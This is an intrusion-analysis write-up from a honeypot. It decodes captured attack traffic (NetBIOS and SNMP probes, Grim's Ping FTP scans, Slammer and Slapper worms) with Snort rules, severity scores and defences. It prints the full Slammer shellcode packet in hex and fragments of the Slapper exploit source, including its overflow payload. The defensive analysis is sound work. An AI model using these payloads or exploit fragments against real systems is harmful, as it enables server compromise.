Attack Signatures and Internet Traffic Analysis

Back Home

Last Updated: August 2003

Michael Ligh (michael.ligh@mnin.org)

A First Encounter With Honeypots

Table of Contents

1. Abstract
2. Netbios Name Service Wildcard Name Query
3. SNMP Default Community Strings
4. Grims Ping Network Scanning Tool
5. MS-SQL Sapphire/Slammer Worm
6. SSLv2 Malformed Client Key Remote Buffer Overflow
7. Apache Web Server Chunk Handling Vulnerability
8. Input Validation Problem in rpc.statd
9. Windows Messenger Pop-Up Spam
10. Microsoft IIS Indexing Service DLL Exploit
11. Nimda Internet Worm
12. Simple Reconnaissance – Echo Requests from various tools
13. Bandwidth Consumption Denial of Service
14. Additional Section – Simple Reconnaissance and Trojan Scans
15. W32.Sobig.E Internet Worm

Abstract

The purpose of this set of discussions is to focus on the infection and propagation mechanisms of worms, viruses, and other malicious codes or exploits. This will preferably entail, whenever possible, correlating particular lines of source code with the network traces they produce. It will not, however, go into detail on the actions of these exploits once active on a machine unless those actions are observed (in other words – unless the exploits are successful). To a lesser extent it will discuss denial of service attacks, simple network reconnaissance, and trojan scanning.

If any information seems incorrect or falsely interpreted, please bring it to my attention by emailing me at mh@mnin.ods.org.

NetBIOS Name Service Wildcard Name Query

The following trace involves a traffic pattern commonly cited on the Internet: the NetBIOS wildcard name query. What makes this capture special is how aggressive the source appears compared to other published analyses. Two-hundred fifty-six packets from an external address make up the collection, whereas others are composed of only a few. Originally believed to be a brute force attack of some sort against the NetBIOS service, subsequent review has classified it as non-malicious, background noise.

03/02-00:24:11.415090 166.90.29.232:137 -> 192.168.1.101:137
UDP TTL:114 TOS:0x0 ID:31593 IpLen:20 DgmLen:78< Len: 50
90 53 00 00 00 01 00 00 00 00 00 00 20 43 4B 41 .S.......... CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01 ..

< SNIP 254 more packets >

03/02-00:31:33.350932 166.90.29.232:137 -> 192.168.1.101:137
UDP TTL:114 TOS:0x0 ID:33600 IpLen:20 DgmLen:78 Len: 50
91 7C 00 00 00 01 00 00 00 00 00 00 20 43 4B 41 .|.......... CKA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 AAAAAAAAAAAAA..!
00 01 ..

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101.

Probability the Source Address Was Spoofed
The probability is low. The attacker must receive response packets in order to learn anything about the host being queried, which is the purpose of these packets. The IP is a dial-up account (dialup-166.90.29.232.dial1.washington1.level3.net) registered to Level 3 Communications, Inc. Before, during, and after the time frame these packets were transmitted, the same source IP was also involved in an HTTP session with 192.168.1.101, which would not have been possible without completing the TCP 3-way handshake.

Attack Mechanism
This is usually indicative of a reconnaissance effort against the destination host by means of the NetBIOS Name Service (UDP port 137). If the target host accepts these packets it will respond with the NetBIOS name of the host, the Windows workgroup or domain name, and possibly the names of logged in users. Worms that infect machines via the NetBIOS session service (TCP port 139) to exploit open shares, weak passwords, or simply spread to the target host usually issue these name queries first.

Correlations & References

• CERT Incident Note IN-2000-02 Exploitation of Unprotected Windows Networking Shares. Also a brief description of the network.vbs worm.
• Bryce Alexander’s Honeypot Catch of a network.vbs variant.
• Andrew Evans’ GIAC GCIA v3.3 Practical Detect #2 Distorted NetBIOS Scan
• Nils Reichen’s GIAC CGIA v3.3 Practical Detect #5 Crafted NetBIOS Query
• Bryce Alexander’s Intrusion Detection FAQ for Port 137 Scans
• Robert Graham’s Firewall Forensics
• Brad Sanford’s paper on Rhino9’s Legion 2.11 Software

Additional Section: The False Interpretation
Un-patched Windows 9x systems have a bug such that an attacker or worm need only know the first character of a password to exploit shares on the target machine. Assuming an exploit performs brute force to guess this character, we would expect to see traces of the attempt. Each trace should be identical with minor exception of the different character being tested. Since the ASCII character set (including extended characters) has 256 unique values, if each possibility was tried once and none were successful, we should see this many packets. As mentioned before, the trace consists of 256 packets that differ only by the first two bytes in each payload.

The succession began with the bytes 0x90 0x53 (S), the second with 0x90 0x54 (T), and third with 0x90 0x55 (U). The pattern continued to iterate through the character set much as we would expect, ending on 0x91 0x7C (|). While this attack seemed a likely explanation at first, the following reasons point out why it was simply a false interpretation.

The source port in this trace is 137 – meaning these packets originated from the NetBIOS service on the remote host. In other words, exploit code or third party scanners are not likely to be at fault, as the source port would not be 137. Secondly, according to protocol, the field containing bytes 1 and 2 (the only two that change) is the transaction ID number, which increments by one with each new request generated. Lastly, had a brute force password attack been launched against the destination host, it would not only have been addressed to the session service (TCP 139) instead, but would not contain the wildcard name queries that we see.

A more likely explanation of this trace was unveiled nearly 6 months after receiving the packets and with the aid of Internet Security Systems’ lead product architect and founder of Network ICE, Robert Graham (so, thanks!). When systems need to resolve an IP address to a name, they call the function ‘gethostbyaddr()’ with the desired address as an argument. This function is said to be virtual in that it does not specify how it resolves an IP address to a name. The first thing that comes to mind is DNS, but what if DNS fails? If a DNS query returns negative or times out (usually after 14 seconds), a Windows box will then turn to NetBIOS, if it is configured on the host, to get the job done. This consists of a 78-byte IP datagram with source and destination ports of 137; and contains the NetBIOS wildcard name query (50 bytes of application data). According to protocol, a time-out will occur every 1.5 seconds causing the query to be retransmitted – this is what we expect to happen since port 137 on the destination host is filtered.

This trace seems to be caused by a host who’s DNS queries failed due to several possible configuration errors. This caused a flood of name resolution attempts via the NetBIOS over IP protocol, explaining the abundance of similar packets. A look at the first and last packet in the trace above we see they are 6 minutes and 22 seconds (or 382 seconds) apart. If the first packet timed out and each subsequent packet was sent 1.5 seconds apart this would yield precisely 255 packets, which is one less than the observed number (maybe one got lost, after all, UDP is unreliable).

Below is a sample of the interval (in seconds) between packets as they were received from the network.

1.500460
1.510038
1.500701
1.500455
1.490349
1.509771
1.500224
1.510053
1.500391

There is still room for stipulation on the true cause of these packets, since we are relying on theory to explain them and not hard evidence. Coincidence is a possiblility.

Evidence of Active Targeting
Not applicable to this event.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 1 (This is not an attack)
System Countermeasures: 5 (This is a Unix system which does not utilize Samba)
Network Countermeasures: 1 (The firewall nor the router blocked these packets)
Severity = (4 + 1) – (5 + 1) = -1

Defense Recommendations
NetBIOS and Samba services are rarely implemented across a WAN, so ports 135-139 (both UDP and TCP) as well as 445 should be blocked at the firewall. If the servers must be accessed over the WAN for some reason, access should be limited to trusted hosts and monitored closely.

Default SNMP Community Strings

The Simple Network Management Protocol is used for remote management of hosts, network devices, and peripherals. The only authentication is an unencrypted community string, which are often left as the default values set by the vendor.

06/19-01:16:40.543606
67.86.212.227:3884 -> 64.252.23.118:161
UDP TTL:115 TOS:0x0 ID:10771 IpLen:20 DgmLen:68 Len: 40
30 26 02 01 00 04 06 70 75 62 6C 69 63 A0 19 02 0&.....public...
01 2F 02 01 00 02 01 00 30 0E 30 0C 06 08 2B 06 ./......0.0...+.
01 02 01 01 02 00 05 00                         ........

Source of Trace
The border router and firewall to a small Ethernet LAN.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the external (WAN) interface of the network’s border router and firewall. The following rule was responsible:

alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"SNMP public access udp"; content:"public"; reference:cve,CAN-1999-0517; 
reference:cve,CAN-2002-0012; reference:cve,CAN-2002-0013; sid:1411; rev:3; classtype:attempted-recon;)

The tcpdump-formatted binary file produced by Snort was then played back with the Ethereal Network Analyzer to decode the SNMP protocol (see below).

Probability the Source Address Was Spoofed
The probability is low. The Protocol Data Unit (PDU) type in the SNMP probe is a ‘get’ request, meaning it expects a response. Unless the attacker is in the legitimate return path and is running a network sniffer in promiscuous mode, the response will never be received. Had the PDU been a ‘set’ request the probability would be much higher, because no response from the server is needed. Forging a SNMP ‘set’ request packet could change values on vulnerable hosts so as to set up holes for future access points or create denial of service conditions. It would almost be foolish for an attacker to not forge the address when conducting an attack of this sort.

Attack Mechanism
This is a reconnaissance attempt via the SNMP protocol had it been active on the target host and configured with the default community string ‘public’. In particular this packet is a request for the targeted host to fetch and return the value of the variable 1.3.6.1.2.1.1.2.0 (see Figure 1) from the Management Information Base (MIB), which resolves to ‘.iso.org.dod.internet.mgmt.mib.system.sysObjectID’. This value is mandatory and provides an easy and unambiguous means for determining `what kind of box' is being managed.

For example, had this packet made it through the firewall to the Windows XP machine on the network, the attacker would have received the following information:

sysObjectID.0=systems.3.1.1

Using the IANA reference for Private Enterprise Numbers, the attacker can designate this machine as a Microsoft product (3.1.1) and begin planning further attacks.

Simple Network Management
  Protocol
  Version: 1 (0)
  Community: public
  PDU type: GET (0)
  Request Id: 0x2f
  Error Status: NO ERROR (0)
  Error Index: 0
  Object identifier 1: 1.3.6.1.2.1.1.2.0 (SNMPv2-MIB::sysObjectID.0)
  Value: NULL

Correlations & References

• James Romanski’s Intrusion Detection FAQ for Using SNMP for Reconnaissance
• RFC 1213 Management Information Base for Network Management of TCP/IP-based Internets
• SMI Network Management Private Enterprise Codes

Evidence of Active Targeting
One computer on the network runs SNMP. The process was active and returns information to ‘get’ requests using ‘public’ as the community string. However, the packet never reached this host because it lies behind the firewall. This could have been an attack directed at this host in particular, but there is a better chance someone is scanning an entire range of IPs with a tool such as WS Ping ProPack.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 5 (This is the network’s firewall)
Attack Lethality: 2 (This is an attempt to acquire information about the system)
System Countermeasures: 5 (This is a Unix system which does not utilize SNMP)
Network Countermeasures: 5 (The packet was dropped at the firewall and it was detected by the IDS)
Severity = (5 + 2) – (5 + 5) = -3

Defense Recommendations
Disable SNMP services if they are not used or change the default community string if they are. Restrict external access to UDP port 161.

Grim’s Ping Network Scanning Tool

Grim's Ping (http://grimsping.cjb.net) is a simple program capable of scanning large ranges of IPs for active hosts, open ports, anonymous FTPs, and writable FTP directories.

2003-02-23 21:21:48 81.56.39.152:4532 -> 192.168.1.101:21 USER anonymous
2003-02-23 21:21:48 81.56.39.152:4532 -> 192.168.1.101:21 PASS Wgpuser@home.com
2003-02-23 21:21:49 81.56.39.152:4532 -> 192.168.1.101:21 CWD /pub/
2003-02-23 21:21:49 81.56.39.152:4532 -> 192.168.1.101:21 CWD /public/
2003-02-23 21:21:49 81.56.39.152:4532 -> 192.168.1.101:21 CWD /pub/incoming/
2003-02-23 21:21:50 81.56.39.152:4532 -> 192.168.1.101:21 CWD /incoming/
2003-02-23 21:21:50 81.56.39.152:4532 -> 192.168.1.101:21 CWD /_vti_pvt/
2003-02-23 21:21:50 81.56.39.152:4532 -> 192.168.1.101:21 CWD /
2003-02-23 21:21:50 81.56.39.152:4532 -> 192.168.1.101:21 MKD 030224031911p
2003-02-23 21:21:51 81.56.39.152:4532 -> 192.168.1.101:21 CWD /upload/
2003-02-23 21:21:51 81.56.39.152:4532 -> 192.168.1.101:21 CWD /public/incoming/
2003-02-23 21:21:51 81.56.39.152:4532 -> 192.168.1.101:21 CWD /incoming/
2003-02-23 21:21:51 81.56.39.152:4532 -> 192.168.1.101:21 CWD /pub/incoming/
2003-02-23 21:21:51 81.56.39.152:4532 -> 192.168.1.101:21 CWD /upload/
2003-02-23 21:21:52 81.56.39.152:4532 -> 192.168.1.101:21 CWD /in/
2003-02-23 21:21:52 81.56.39.152:4532 -> 192.168.1.101:21 CWD /_vti_pvt/
2003-02-23 21:21:52 81.56.39.152:4532 -> 192.168.1.101:21 CWD /_vti_txt/
2003-02-23 21:21:52 81.56.39.152:4532 -> 192.168.1.101:21 CWD /_vti_log/
2003-02-23 21:21:53 81.56.39.152:4532 -> 192.168.1.101:21 CWD /wwwroot/
2003-02-23 21:21:53 81.56.39.152:4532 -> 192.168.1.101:21 CWD /anonymous/
2003-02-23 21:21:53 81.56.39.152:4532 -> 192.168.1.101:21 CWD /public/
2003-02-23 21:21:54 81.56.39.152:4532 -> 192.168.1.101:21 CWD /outgoing/
2003-02-23 21:21:54 81.56.39.152:4532 -> 192.168.1.101:21 CWD /temp/
2003-02-23 21:21:54 81.56.39.152:4532 -> 192.168.1.101:21 CWD /tmp/
2003-02-23 21:21:54 81.56.39.152:4532 -> 192.168.1.101:21 CWD /anonymous/_vti_pvt/
2003-02-23 21:21:55 81.56.39.152:4532 -> 192.168.1.101:21 CWD /anonymous/incoming/
2003-02-23 21:21:55 81.56.39.152:4532 -> 192.168.1.101:21 CWD /mailroot/
2003-02-23 21:21:55 81.56.39.152:4532 -> 192.168.1.101:21 CWD /ftproot/
2003-02-23 21:21:55 81.56.39.152:4532 -> 192.168.1.101:21 CWD /anonymous/pub/
2003-02-23 21:21:56 81.56.39.152:4532 -> 192.168.1.101:21 CWD /anonymous/public/
2003-02-23 21:21:56 81.56.39.152:4532 -> 192.168.1.101:21 CWD /_vti_cnf/
2003-02-23 21:21:56 81.56.39.152:4532 -> 192.168.1.101:21 CWD /images/
2003-02-23 21:21:56 81.56.39.152:4532 -> 192.168.1.101:21 CWD /_private/
2003-02-23 21:21:57 81.56.39.152:4532 -> 192.168.1.101:21 CWD /cgi-bin/
2003-02-23 21:21:57 81.56.39.152:4532 -> 192.168.1.101:21 CWD /cgibin/
2003-02-23 21:21:57 81.56.39.152:4532 -> 192.168.1.101:21 CWD /usr/
2003-02-23 21:21:57 81.56.39.152:4532 -> 192.168.1.101:21 CWD /usr/incoming/
2003-02-23 21:21:58 81.56.39.152:4532 -> 192.168.1.101:21 CWD /home/

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101.

Probability the Source Address Was Spoofed
The source address in these packets is not spoofed. This is a bi-directional communication taking place after the TCP 3-way handshake has completed.

Attack Mechanism
This attack is automated by the software program Grim’s Ping. The attacker enters a range of IPs to scan and optionally configures additional directories to test write permission in. The user can also enter an email address for anonymous login or leave it as the default, Xgpuser@home.com, where ‘X’ is any capital letter (variations use guest@here.com). For every successful anonymous login, the list of directories is used to see if any exist on the server. Likewise, for every directory that does exist, Grim’s Ping tests its write permission by attempting to create a directory. Another signature is the directory name format: twelve numbers and one alphabetical character (MKD 030224031911p). Anonymous directories with write permission enabled are logged. What will most likely happen next is an anonymous upload of files such porn, malicious code, or wares.

Correlations & References

• Neohapsis Archives Mailing List Re: [Snort-users] Anomalous packet logged by Snort
  
• SecurityFocus Mailing List Re: [incident] IIS defacement through FTP, possible DoS

Evidence of Active Targeting
This could have been active targeting since the destination host is an FTP server, however it is more likely the attacker is scanning an entire network.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 4 (This is an attempt to acquire information and if permitted make changes to the filesystem; not limited to uploading arbitrary files)
System Countermeasures: 2 (This is a poorly secured FTP server not carefully monitored)
Network Countermeasures: 1 (The firewall nor the router blocked these packets)
Severity = (4 + 4) – (2 + 1) = 5

Defense Recommendations
Block anonymous logins with the default email addresses. Attackers can change this value however, so denying all anonymous users write access might be necessary. At the very least, regulate the file type and maximum size allowed via anonymous upload.

Additional Section: Demonstration of Grims Ping
This section displays the simplicity of Grims Ping and results it can acquire. The default directories in Figure 2 should look familiar. Much like I did in Figure 3, the user at the source address added several directories while preparing the scan. Figure 4 shows what appears on the attacker’s screen, only with different IP addresses. By distinguishing between hosts that refuse the connection and hosts that cause a time out, we can also identify which hosts are live.

Figure 2 Default directories to check for

Figure 3 Add custom directories

192.168.1.96 Request timed out
192.168.1.97 Request timed out
192.168.1.98 Request timed out
192.168.1.99 Request timed out
192.168.1.100 Connection refused
192.168.1.101 230 Login successful
192.168.1.102 Request timed out
192.168.1.103 Request timed out
192.168.1.104 Request timed out
192.168.1.105 Request timed out

Figure 4 Scanning local IP range 192.168.1.96 –192.168.1.105

192.168.1.100 -> 192.168.1.101 Request: CWD /pub/
192.168.1.101 -> 192.168.1.100 Response: 550 /pub/: No such file or directory
192.168.1.100 -> 192.168.1.101 Request: CWD /public/
192.168.1.101 -> 192.168.1.100 Response: 550 /public/: No such file or directory
192.168.1.100 -> 192.168.1.101 Request: CWD /pub/incoming/
192.168.1.101 -> 192.168.1.100 Response: 550 /pub/incoming/: No such file or directory
192.168.1.100 -> 192.168.1.101 Request: CWD /pub/_vti_pvt/
192.168.1.101 -> 192.168.1.100 Response: 550 /pub/_vti_pvt/: No such file or directory
192.168.1.100 -> 192.168.1.101 Request: CWD /
192.168.1.101 -> 192.168.1.100 Response: 250 CWD command successful.
192.168.1.100 -> 192.168.1.101 Request: MKD 030728181133p
192.168.1.101 -> 192.168.1.100 Response: 550 030728181133p: Permission denied
192.168.1.100 -> 192.168.1.101 Request: CWD /upload/
192.168.1.101 -> 192.168.1.100 Response: 550 /upload/: No such file or directory

Figure 5 Example traffic

MS-SQL Sapphire/Slammer Worm

This is a Microsoft Windows based worm that exploits a buffer overflow vulnerability in Microsoft SQL server 2000 and Microsoft Desktop Engine 2000. It propagates to new machines via a single 376-byte UDP datagram (404 with headers). The choice of the UDP protocol eliminates the chance of spreading potential being based on latency (a side-effect of TCP). As a result (in combination with the propagation algorithm) it was bandwidth-limited only and scanned new hosts as fast as the network could carry data or the infected computers could produce them.

Snort Alert(s):

03/02-02:47:58.688966 [**] [1:2003:2] MS-SQL Worm propagation attempt [**] [Classification: Misc Attack] [Priority: 2] {UDP} 67.209.200.188:1188 -> 192.168.1.101:1434

03/02-02:47:58.688966
67.209.200.188:1188 -> 192.168.1.101:1434
UDP TTL:113 TOS:0x0 ID:41933 IpLen:20 DgmLen:404
Len: 384
04 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
01 DC C9 B0 42 EB 0E 01 01 01 01 01 01 01 70 AE ....B.........p.
42 01 70 AE 42 90 90 90 90 90 90 90 90 68 DC C9 B.p.B........h..
B0 42 B8 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 .B.....1...P..5.
01 01 05 50 89 E5 51 68 2E 64 6C 6C 68 65 6C 33 ...P..Qh.dllhel3
32 68 6B 65 72 6E 51 68 6F 75 6E 74 68 69 63 6B 2hkernQhounthick
43 68 47 65 74 54 66 B9 6C 6C 51 68 33 32 2E 64 ChGetTf.llQh32.d
68 77 73 32 5F 66 B9 65 74 51 68 73 6F 63 6B 66 hws2_f.etQhsockf
B9 74 6F 51 68 73 65 6E 64 BE 18 10 AE 42 8D 45 .toQhsend....B.E
D4 50 FF 16 50 8D 45 E0 50 8D 45 F0 50 FF 16 50 .P..P.E.P.E.P..P
BE 10 10 AE 42 8B 1E 8B 03 3D 55 8B EC 51 74 05 ....B....=U..Qt.
BE 1C 10 AE 42 FF 16 FF D0 31 C9 51 51 50 81 F1 ....B....1.QQP..
03 01 04 9B 81 F1 01 01 01 01 51 8D 45 CC 50 8B ..........Q.E.P.
45 C0 50 FF 16 6A 11 6A 02 6A 02 FF D0 50 8D 45 E.P..j.j.j...P.E
C4 50 8B 45 C0 50 FF 16 89 C6 09 DB 81 F3 3C 61 .P.E.P........<a
D9 FF 8B 45 B4 8D 0C 40 8D 14 88 C1 E2 04 01 C2 ...E...@........
C1 E2 08 29 C2 8D 04 90 01 D8 89 45 B4 6A 10 8D ...).......E.j..
45 B0 50 31 C9 51 66 81 F1 78 01 51 8D 45 03 50 E.P1.Qf..x.Q.E.P
8B 45 AC 50 FF D6 EB CA .E.P....

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101. The following rule was responsible:

alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL Worm propagation attempt"; content:"|04|"; depth:1; content:"|81 F1 03 01 04 9B 81
F1 01|"; content:"sock"; content:"send"; reference:bugtraq,5310; classtype:misc-attack;reference:bugtraq,5311;reference:url,vil.nai.com/vil/content/v_99992.htm; sid:2003; rev:2;)

Probability the Source Address Was Spoofed
The source address from the Sapphire/Slammer worm is not spoofed. We can see from the source code there is no function to forge the identity of an infected system when the worm attempts to propagate, though it very well could have.

Attack Mechanism
UDP port 1434 is designated as the Microsoft SQL Server Resolution Service. When it receives a packet with the first byte set to 0x04 (highlighted above) it takes the remaining data in the packet and attempts to open a registry key with this user supplied string. A large number of bytes following 0x04 will result in a stack based buffer overflow, allowing a denial of service condition in the SQL process (if random data follows 0x04) or execution of the attackers code (if shell code follows 0x04). This worm utilizes the later method to load itself into random access memory and begin its propagation mechanism.

Correlations & References

• The Spread of the Sapphire/Slammer Worm by members of CAIDA, Silicon Defense, UC Berkley EECS, and others.
  
• NGSSoftware Insight Security Research Advisory – Unauthenticated Remote Compromise in MS SQL Server 2000
  
• CERT Advisory CA-2003-04 MS-SQL Server Worm
  
• Microsoft Security Bulletin MS02-039 Buffer Overruns in SQL Server 2000 Resolution Service Could Enable Code Execution
  
• Symantec’s DeepSight Threat Management System Threat Analysis: SQLExp SQL Server Worm Analysis
  
• Eeye Digital Security Disassembly of the Sapphire Worm
  
• Virus Bulletin: Peter Szor and Frederic Perriot’s Analysis

Evidence of Active Targeting
This is not an example of active targeting. The worm utilizes a pseudo-random number generator to choose the IP address of its next target. The ‘GetTickCount()’ function of the Win32 API provides the seed (milliseconds since boot time). There are two cited deficiencies in the algorithm, but all Internet addresses are equally likely to be probed.

Severity
Severity = (Criticality + Lethality) –- (System Countermeasures + Network Countermeasures)
Target Criticality: 4 (This is an important FTP and HTTP server)
Attack Lethality: 5 (if successful this would lead to complete compromise of the server and its data)
System Countermeasures: 5 (This is a Unix system)
Network Countermeasures: 2 (The firewall nor the router blocked these packets but they were detected by the IDS)
Severity = (4 + 5) – (5 + 2) = 2

Defense Recommendations
An attacker could craft this packet by hand and send it with the source port of 53 and source address of your DNS server. It would seem legitimate as far as some firewalls are concerned and thus have a good chance of penetration. For this reason all external traffic destined to UDP port 1434 should be blocked, whether or not it is addressed from a trusted host.

SSLv2 Malformed Client Key Remote Buffer Overflow

There are at least 4 known versions of a worm that exploits this vulnerability. The one discussed here, Slapper.A (bugtraq.c), spreads to Unix-based machines on x86 platforms running the Apache web server; however the vulnerability exploited is in the libssl libraries used by the mod_ssl module. The trace is broken up into sections and the corresponding source code, which produced the trace, preceeds each portion.

Snort Alert(s):

03/03-16:18:45.947014 [**] [1:1881:4] WEB-MISC bad HTTP/1.1 request, Potentially worm attack [**] [Classification: access to a potentially
vulnerable web application] [Priority: 2] {TCP} 64.105.174.36:32794 -> 192.168.1.101:80

write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET /HTTP/1.1\r\n\r\n"));

03/03-17:18:45.947014 64.105.174.36:32794 -> 192.168.1.101:80
TCP TTL:49 TOS:0x0 ID:4358 IpLen:20 DgmLen:70 DF
***AP*** Seq: 0x1F514429 Ack: 0x368E3A33 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 59069753 411947944
47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A GET / HTTP/1.1..
0D 0A ..

Figure 6 (Above) Invalid GET request

void exploit(char *ip) {
int port = 443;
int i;
int N = 20;

< SNIP several lines left out >

for (i=0; i<N; i++) {
connect_host(ip, port);
usleep(100000);
}

03/03-17:18:46.165113
64.105.174.36:32813 -> 192.168.1.101:443
TCP TTL:49 TOS:0x0 ID:42582 IpLen:20 DgmLen:60 DF
******S* Seq: 0x1FFCF319 Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1322 SackOK TS: 59069775 0 NOP WS: 0

< SNIP 19 more SYN packets to port 443 >

03/03-17:18:50.891899
64.105.174.36:32862 -> 192.168.1.101:443
TCP TTL:49 TOS:0x0 ID:37391 IpLen:20 DgmLen:60 DF
******S* Seq: 0x1FCAC527 Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1452 SackOK TS: 59070248 0 NOP WS: 0

Above: The worm has caused the web server to fork 20 new child processes
by initiating a new connection every 100 milliseconds.

Figure 7 (Above) Spawning https processes

void send_client_hello(ssl_conn *ssl) {
int i;
unsigned char buf[BUFSIZE] =
"\x01"
"\x00\x02"
"\x00\x18"
"\x00\x00"
"\x00\x10"
"\x07\x00\xc0\x05\x00\x80\x03\x00"
"\x80\x01\x00\x80\x08\x00\x80\x06"
"\x00\x40\x04\x00\x80\x02\x00\x80"
"";
for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = 
(unsigned char) (rand() >> 24);
memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}

< SNIP several lines left out >

send_client_hello(ssl1);

03/03-17:18:51.019341
64.105.174.36:32861 -> 192.168.1.101:443
TCP TTL:49 TOS:0x0 ID:3246 IpLen:20 DgmLen:103 DF
***AP*** Seq: 0x1FDB5BB1 Ack: 0x36362CD8 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 59070260 411950481
80 31 01 00 02 00 18 00 00 00 10 07 00 C0 05 00 .1..............
80 03 00 80 01 00 80 08 00 80 06 00 40 04 00 80 ............@...
02 00 80 55 71 5A 33 3F 4C 36 6C 5C 11 2A 30 15 ...UqZ3?L6l\.*0.
68 26 02 h&.

Above: The worm has sent the SSL client hello. Bytes 1 and 2 (0x80 and
0x31) specify how many bytes follow (49). In order, the remainder
specifies:

Handshake message type is client hello "\x01"
Version is SSL 2.0 "\x00\x02"
Cipher spec length is 24 bytes "\x00\x18"
Session ID length is 0 "\x00\x00"
Challenge length is 16 bytes "\x00\x10"
8 Cipher suites (3 bytes each) "\x07\x00\xc0\x05\x00\x80\x03\x00"
"\x80\x01\x00\x80\x08\x00\x80\x06" "\x00\x40\x04\x00\x80\x02\x00\x80"
The final 16 bytes in the packet is the challenge.

Figure 8 (Above ) SSL client hello

unsigned char overwrite_session_id_length[] =
"AAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x70\x00\x00\x00";

< SNIP several lines left out >

send_client_master_key(ssl1, overwrite_session_id_length,
sizeof(overwrite_session_id_length)-1);

03/03-17:18:51.266959
64.105.174.36:32861 -> 192.168.1.101:443
TCP TTL:49 TOS:0x0 ID:3248 IpLen:20 DgmLen:256 DF
***AP*** Seq: 0x1FDB5BE4 Ack: 0x3636311A Win: 0x1DCE TcpLen: 32
TCP Options (3) => NOP NOP TS: 59070284 411950617 
80 CA 02 01 00 80 00 00 00 80 00 40 79 ED 66 F6 ...........@y.f.
72 2C 4E 5D 71 F1 80 02 E4 FD A5 57 BC 04 C0 06 r,N]q......W....
02 1E 31 8F D2 F6 7C 8E 16 01 8B D2 42 D9 3F 0D ..1...|.....B.?.
E1 2C 94 86 23 C2 54 C2 C2 44 56 11 44 2C 3D A7 .,..#.T..DV.D,=.
3D 65 B9 48 B3 89 D4 17 C7 01 D5 BD 2E CB 16 68 =e.H...........h
10 04 FB 84 83 0B 19 D7 90 76 19 36 37 1F 25 79 .........v.67.%y
31 EC F1 2E BA 75 A9 7F 43 74 E8 F1 13 E3 6A 79 1....u..Ct....jy
FA 48 13 64 74 14 01 11 99 FC 98 E9 BD BD 78 07 .H.dt.........x.
80 EF 00 0D 94 2A 8C CD 8D FE 48 D5 67 22 7A 27 .....*....H.g"z'
6F 31 13 4C 41 41 41 41 41 41 41 41 41 41 41 41 o1.LAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 70 00 00 00 AAAAAAAAp...

Above: The worm has sent the packet containing the client’s master
key. Bytes 1 and 2 (0x80 and 0xca) specify the total length (202). The
remainder specifies: 

Handshake message type is client master key 0x02
Cipher selected is SSL2_RC4_128_WITH_MD5 0x010080
Clear key data length is 0 0x0000
Encrypted key data length is 128 0x0080
Key argument length is 64 0x0040
Encrypted key next 128 bytes
Key argument (from source code) last 64 bytes

Figure 9 (Above) ‘SSLv2 Malformed Client Key Remote Buffer Overflow’

Source of Trace
A Linux server residing on a small Ethernet LAN designed for packet sniffing.

Detect Generated By
This detect was generated by Snort in host-based intrusion detection mode, running on the destination address, 192.168.1.101. The following rule was responsible:

02/21-13:50:16.010958 [**] [1:1881:4] WEB-MISC bad HTTP/1.1 request, Potentially worm attack [**] [Classification: access to a potentially
vulnerable web application] [Priority: 2] {TCP} 202.108.35.205:2553 -> 192.168.1.101:80

The tcpdump-formatted binary file produced by Snort was then played back with the Ethereal Network Analyzer to decode the SSL protocol.

Probability the Source Address Was Spoofed
There is no chance the source address is spoofed for two reasons: 1) there is no evidence of an IP forging function in the worm’s source code and 2) it spreads via TCP protocol which relies on established connections and bi-directional data flow.

Attack Mechanism
The information gathering process begins in Figure 6. With the invalid ‘GET’ request, the worm invokes an ‘HTTP 400 Bad Request’ error message, which it then parses for Apache version and architecture. It compares the result with a list of 23 hard coded combinations, and does one of the following:

• Server is not Apache – exit & scan next host
• Server is a listed Apache version & architecture combination – tune attack parameters (tailor the address of the ‘free()’ library function entry in the Global Offset Table)
